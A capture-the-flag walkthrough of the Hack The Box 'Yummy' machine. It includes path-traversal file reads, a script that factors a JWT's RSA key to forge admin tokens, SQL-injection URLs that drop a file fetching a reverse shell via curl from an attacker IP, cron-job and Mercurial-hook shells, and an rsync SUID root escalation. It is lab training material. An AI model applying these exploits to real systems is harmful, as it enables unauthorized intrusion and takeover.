Introduction to Yummy:

This write-up will explore the “Yummy” machine from Hack The Box, categorized as a Hard difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective:
The goal of this walkthrough is to complete the “Yummy” machine from Hack The Box by achieving the following objectives:
User Flag:
Exploiting Web and Cron Job Vulnerabilities
The attack began by analyzing session tokens, revealing that JWT authentication was susceptible to RSA-based exploitation. By factorizing the modulus and reconstructing the private key, we generated a forged JWT, granting access to /admindashboard
, where additional bookings were visible. Further inspection of the /config
folder uncovered signature.py
, responsible for session token creation, though executing it produced no output. The backupapp.zip
file from /var/www/
contained the web application’s source code, confirming that app.py
it held the same credentials as table_cleanup.sh
.
Privilege escalation was achieved by leveraging cron jobs. The mysql
user executed dbmonitor.sh
, which restarted MySQL and, under certain conditions, ran the latest fixer-v*
script in /data/scripts/
. By injecting a crafted file named fixer-v___
, we gained execution as mysql
. However, with limited privilege escalation options, attention shifted to another cron job running as www-data
. Replacing its script with a reverse shell provided a connection as www-data
. Finally, accessing a file revealed the password for the qa
user, leading to the retrieval of the user flag via cat user.txt
.
Root Flag:
Root Privilege Escalation via Mercurial Hooks and rsync
Exploit
After gaining access to the qa
user via SSH, sudo -l
reveals permission to execute /usr/bin/hg
as dev
. However, executing hg
fails due to permission issues, likely because dev
cannot access /home/qa/
. The error message abort: no repository found in '/home/qa' (.hg not found)
confirms that Mercurial expects a repository but cannot locate one. Since hg
supports hooks that trigger actions after pulling, a .hgrc
file is created in /home/qa/
with a post-pull
hook to execute /tmp/shell.sh
. To ensure access, an .hg
the directory is created in /tmp/
, given full permissions (chmod 777
), and .hgrc
is copied there in a single step to prevent automatic deletion. Once executed, the command hangs—a good sign—and a reverse shell is obtained as dev
.
Now, with access as dev
, sudo -l
reveals the ability to use rsync
, a tool for file synchronization. Using rsync -a
, files from /app-production/
are copied to /opt/app/
while retaining ownership. However, the --chown
flag allows changing ownership to root
, and setting the SUID bit enables execution with root privileges. Successfully running the exploit grants a root shell. If direct execution fails, writing the command into a file and executing it ensures privilege escalation.
Enumerating the Yummy Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
nmap -sC -sV -oN nmap_initial.txt 10.10.11.36
Nmap Output:
┌─[dark@parrot]─[~/Documents/htb/yummy]
└──╼ $nmap -sC -sV -oA initial 10.10.11.36
# Nmap 7.94SVN scan initiated Tue Feb 18 07:27:10 2025 as: nmap -sC -sV -oA initial 10.10.11.36
Nmap scan report for 10.10.11.36
Host is up (0.25s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA)
|_ 256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519)
80/tcp open http Caddy httpd
|_http-server-header: Caddy
|_http-title: Did not follow redirect to http://yummy.htb/
1658/tcp filtered sixnetudr
9898/tcp filtered monkeycom
26214/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Feb 18 07:28:05 2025 -- 1 IP address (1 host up) scanned in 54.95 second
Analysis:
- Port 22 (SSH): OpenSSH 9.6p1 is running, providing secure remote access.
- Port 80 (HTTP): Web server detected, but it’s running Caddy, not Apache. The server redirects to
http://yummy.htb/
. - Port 1658, 9898, 26214: These ports are filtered, meaning a firewall might block them or require specific conditions to access them.
What is Caddy?
Caddy is an open-source web server known for its simplicity and automatic HTTPS support. It handles SSL/TLS certificate management out of the box using Let’s Encrypt, making it easy to deploy secure websites. Unlike Apache or Nginx, Caddy uses a straightforward configuration file called the Caddyfile, which simplifies setup. It also functions as a reverse proxy, load balancer, and static file server, making it a flexible choice for modern web applications. Written in Go, Caddy is optimized for performance and minimal resource usage.
Web Enumeration on Yummy Machine:
Perform web enumeration to discover potentially exploitable directories and files.

Upon registering and logging in, users gain access to /dashboard
, where they can view reservations after booking a table.

No bookings have been made on the page, so let’s proceed with booking a table.


It was a complete success.

Saving to iCalendar downloads the file to my machine.

Let’s analyze the packet using Burp Suite. The site utilizes /export
to read from a local file and download it.

However, analyzing it with the file
command yields no useful information.

Attempting to read /etc/passwd
using /export/../../../../../etc/passwd
was successful, indicating a potential Local File Inclusion (LFI) vulnerability.


Web Exploitation Yummy machine
Web Application Exploration:
Attempted to read sensitive files for insights into the web application’s host:
/proc/self/environ
– Blank file/proc/self/cmdline
– Blank file/etc/crontab
– Revealed scheduled cron jobs, potentially leading to common directories or execution paths







The following cron jobs were found in /etc/crontab
, potentially indicating useful directories and scripts for privilege escalation:
*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh
These scripts, especially if writable, could be leveraged for privilege escalation.







The app_backup.sh
script archives the web directory /opt/app and removes backupapp.zip it from /var/www/
, which can be downloaded. The table_cleanup.sh
script manages MySQL tables and contains credentials. Meanwhile, dbmonitor.sh
monitors MySQL status and executes a fixing script if the service is down.





Extracting backupapp.zip
reveals the web application’s source code. The app.py
file contains the same credentials table_cleanup.sh
, providing no additional information.

The database configuration specifies how the application connects to yummy_db
the local machine (127.0.0.1
). It authenticates using the username chef
and a predefined password. The connection is set to retrieve data in a structured format using DictCursor
, making it easier for the application to process. Additionally, the configuration allows multiple SQL statements to be executed in a single request, which could streamline database interactions but may also introduce potential security risks if not handled properly.

Reviewing the /config
folder reveals a signature.py
file, which is responsible for generating session tokens in the web application.

Unfortunately, executing the signature.py
file does not produce any results.
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy
import jwt
import base64
# Input your session token
session_token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InN1Y2VAeXVtbXkuaHRiIiwicm9sZSI6ImN1c3RvbWVyXzk3MTMwNGU0IiwiaWF0IjoxNzI4NDA1NzQ3LCJleHAiOjE3Mjg0MDkzNDcsImp3ayI6eyJrdHkiOiJSU0EiLCJuIjoiMTYwOTAxMDQyMjM0OTI0MDM3MjI1NTU2MDMzNzk5ODMyNTAzNzMzOTcxMzYxMzk5NzY1NDkzOTA5ODkyMTkwOTYzMzE1MTk2MjAwNTIzNTAyMzgwOTk1MzQ1OTg1OTQwMTAxMTY1ODg1NTc0MTg5NDAyMjY1ODI4ODk2MDI1OTI2MjU3Njk0NzM1MjU4MzMxOTI2ODIwMzU5OTQ5MjYyMzU1NTE5MDM2NTQ1NDQ0MjI5MzM0Mzg0Nzk5ODEwOTA1MDM3NTk0OTAyNDYxMTI4OTcxODI5NzIwNzQ1MDM1NjQyODI1MTkwOTAwMzE1OTEwNzcxMjM2NzU1NjcxMTgxMjk2MjE5MzkyODQ3ODc4OTIzMDY4ODgxNjIyOTE1NjM2NzQ4MDcyNjUzOTUwMzcyMjA4Nzc2NzU5MTIzIiwiZSI6NjU1Mzd9fQ.C48zA1-mU_GYLLpYhIkE9aT_QKtZ3qe7Jj3pk0yMrEtbDw3Shg6IbOORaFr8ID0N9sDcc-KMd5ZQ0fbEuhMnXDtCT4HwMojeeHOQI68UeQFZ80Po3aUCcANcs7OHswndGTc2mtt3O5F95koPSVZWj5K3bztTVCgco2H-OxmC78Uaz1A"
# Split the JWT into its components
token_parts = session_token.split(".")
payload_encoded = token_parts[1].encode()
# Decode the payload
payload_decoded = base64.b64decode(payload_encoded + b'=' * (-len(payload_encoded) % 4)).decode()
# Extract the modulus 'n' from the payload
n_start = payload_decoded.find('"n":') + 5
n_end = payload_decoded.find('"', n_start)
n = int(payload_decoded[n_start:n_end])
# Example public exponent
public_exponent = 65537
# Factorize 'n' to find 'p' and 'q'
prime_factors = sympy.factorint(n)
p, q = list(prime_factors.keys())
# Compute φ(n)
phi_n = (p - 1) * (q - 1)
# Compute the private exponent 'd'
d = pow(public_exponent, -1, phi_n)
# Construct the RSA key
rsa_key = RSA.construct((n, public_exponent, d, p, q))
private_key = rsa_key.export_key()
# Decode the original JWT payload
decoded_payload = jwt.decode(session_token, private_key, algorithms=["RS256"], options={"verify_signature": False})
# Modify the role value
decoded_payload['role'] = 'administrator'
# Re-encode the JWT with the modified payload
new_jwt = jwt.encode(decoded_payload, private_key, algorithm='RS256')
print(new_jwt)
Exploiting RSA-Based JWT Vulnerabilities on Yummy Machine
The process begins with analyzing a session token, which encapsulates critical user session details such as email and role. This token consists of three components, with the payload—its central segment—storing the encoded session data in Base64 format. Decoding this reveals key parameters, including the modulus (n), a fundamental element of RSA encryption. The modulus, derived as the product of two prime numbers (p and q), is subjected to factorization to extract these primes. Once obtained, the Euler totient function, φ(n), is computed, enabling the derivation of the private exponent (d). Using these values, the RSA private key is reconstructed, granting access to cryptographic operations typically reserved for the token’s issuer.
With the private key acquired, the original JWT (JSON Web Token) payload is decrypted, exposing user-specific attributes. The role field is then modified to ‘administrator’, demonstrating a critical vulnerability in token validation. Since the JWT cookie is unique for each user, replacing it with the new, modified token allows access to restricted pages, such as /admindashboard
. The altered payload is subsequently re-encoded using the reconstructed private key, producing a new JWT with escalated privileges. This exploitation underscores the necessity of robust security measures in JWT implementations, such as employing strong key management, enforcing proper token validation, and mitigating key exposure risks to prevent unauthorized privilege escalation.

Updating the session token with a newly generated token grants access to the /admindashboard
page.

Updating the session token with a newly generated token grants access to the /admindashboard
page, where a significantly higher number of bookings are now visible compared to before.
Executing the shell command on the Yummy Machine

The shell command will resemble the example shown above.







To gain a shell, we need to exploit the cron job executed by the mysql
user. The dbmonitor.sh
script automatically restarts the MySQL server if it detects it is down. However, a else
statement checks whether /data/scripts/dbstatus.json
exists and does not contain the phrase “database is down.” If these conditions are met, the script deletes the JSON file and executes the latest fixer-v*
file in /data/scripts/
.
By first writing arbitrary data to dbstatus.json
and then creating a file named fixer-v___
(which appears first alphabetically due to the underscore), we can control which script gets executed as the mysql
user. The following requests achieve this:
http://yummy.htb/admindashboard?s=aa&o=ASC%3b+select+"pwned"+INTO+OUTFILE++'/data/scripts/dbstatus.json'+%3b
(Writes todbstatus.json
)http://yummy.htb/admindashboard?s=aa&o=ASC%3b+select+"curl+10.10.xx.xx/shell.sh"
(Creates a reverse shell)
Once the cron job executes our malicious fixer-v___
file, we gain a connection back to our machine.


There is little leverage with the mysql
user, as the database does not provide any valuable information.






Just like the mysql
user, there is a cron job running as www-data
. Modifying this script to include a simple reverse shell will establish a connection as www-data
.




Enumerating /var/www/
, there is the same /app/
the folder we found from backuppapp.zip
but this time it has a hidden .hg
folder.





Inspecting the file reveals the password for the qa
user.






The user flag can be retrieved by executing cat user.txt
.
Escalate to Root Privileges Access on Yummy Machine
Privilege Escalation:

After SSHing into the qa
user, running sudo -l
reveals permission to execute /usr/bin/hg
as the dev
user.

Execution fails with abort: no repository found in '/home/qa' (.hg not found)
, indicating that Mercurial (hg
) expects a repository but cannot find one in /home/qa
, likely due to missing .hg
metadata or insufficient permissions.

/usr/bin/hg
is a version control system similar to Git, allowing file and repository management. A quick research session will be beneficial if you’re unfamiliar with these tools. Both Git and Mercurial support hooks trigger specific actions after events like pulling, committing, or updating. By leveraging these hooks, we can execute a script once a pull operation completes. To achieve this, we need a .hgrc
configuration file. Let’s modify the .hgrc
in /home/qa/
and add the following line:

[hooks]
post-pull = /tmp/shell.sh

Set up the exploit in /tmp/
for universal access: create .hg
in /tmp/
, grant full permissions with chmod 777
, and copy .hgrc
from /home/qa/
in a single line to prevent auto-deletion. Once executed, a reverse shell is gained as the dev
user.



Encountered an error: /tmp/shell.sh: 2: Syntax error: Bad fd number
.

After fixing the issues, the command hangs—this is a good sign.

Boom! A shell is obtained as the dev
user.

Running sudo -l
as the dev
user displays the previously shown output.

rsync
is a file synchronization tool for transferring files and directories between locations. Using rsync -a
, we can sync /app-production/
to /opt/app/
while preserving permissions, keeping the file owner as dev
. However, the --chown
flag allows changing ownership to root
. By setting the SUID bit on a file, it can then be executed with root privileges.

A Bash shell is now running with root privileges.

If the command fails, try writing it into a file and executing it.
cp /bin/bash app-production/bash
chmod u+s app-production/bash
sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* --chown root:root /opt/app/

This method also grants root access.

The root flag can be retrieved by executing cat root.txt
.